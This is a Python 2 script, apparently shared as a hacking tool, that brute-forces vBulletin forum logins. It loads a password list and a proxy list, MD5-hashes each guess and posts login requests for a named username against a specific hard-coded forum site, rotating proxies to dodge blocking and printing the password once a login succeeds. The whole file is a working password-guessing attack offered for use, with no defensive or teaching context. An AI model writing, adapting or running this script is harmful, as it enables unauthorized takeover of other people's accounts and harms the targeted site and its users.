#!/usr/bin/python # -*- coding: UTF-8 -*- # ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' # brute force : vbulletin # powered by : s1a4a # email : s1a4a@hotmail.com # ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' import sys import urllib2 import urllib import re import hashlib import md5 import time import httplib import socket print """ ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' brute force : vbulletin powered by : s1a4a email : s1a4a@hotmail.com ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' """ f1 = open('proxy.txt', 'r') f2 = open('pass.txt', 'r') a = f1.read().split('\n') r = f2.read().split('\n') z = len(a) f = len(r) c = 0 d = 0 site = 'http://aoevietnam.org' # << site #adm = u'محمد'.encode("windows-1256") # << user ar adm = '5kytu' # << user en rest = 'login.php?do=login' while(range(c, z) and range(d, f)): time.sleep(1) try: hash = md5.new(r[d]) ps1 = hash.hexdigest() proxy_handler = urllib2.ProxyHandler({'http': a[c]}) opener = urllib2.build_opener(proxy_handler) opener.addheaders = [('User-agent', 'Mozilla/5.0')] urllib2.install_opener(opener) para = urllib.urlencode({'do':'login', 'vb_login_md5password':ps1, 'vb_login_username':adm}) req = urllib2.Request(site+rest) fd = urllib2.urlopen(req,para, timeout = 30) data = fd.read() match= re.search(r'vb_login_username(\.*)', data) if match: print '[-] pass: %s site: %s %s - (not found)' % (r[d], site , a[c]) d+=1 else: print '[+] pass : %s site: %s %s - (found)' % (r[d], site , a[c]) break except : print '[Retry] pass : %s %s'% (r[d] , a[c]) try: hash = md5.new(r[d]) ps1 = hash.hexdigest() proxy_handler = urllib2.ProxyHandler({'http': a[d+1]}) opener = urllib2.build_opener(proxy_handler) opener.addheaders = [('User-agent', 'Mozilla/5.0')] urllib2.install_opener(opener) para = urllib.urlencode({'do':'login', 'vb_login_md5password':ps1, 'vb_login_username':adm}) req = urllib2.Request(site+rest) fd = urllib2.urlopen(req,para, timeout = 30) data = fd.read() match= re.search(r'vb_login_username(\.*)', data) if match: print '[-] pass: %s site: %s %s - (not found)' % (r[d], site , a[c+1]) d+=1 else: print '[+] pass : %s site: %s %s - (found)' % (r[d], site , a[c+1]) break except : print "[[Failed to connect]]" c+=1 f1.close() f2.close()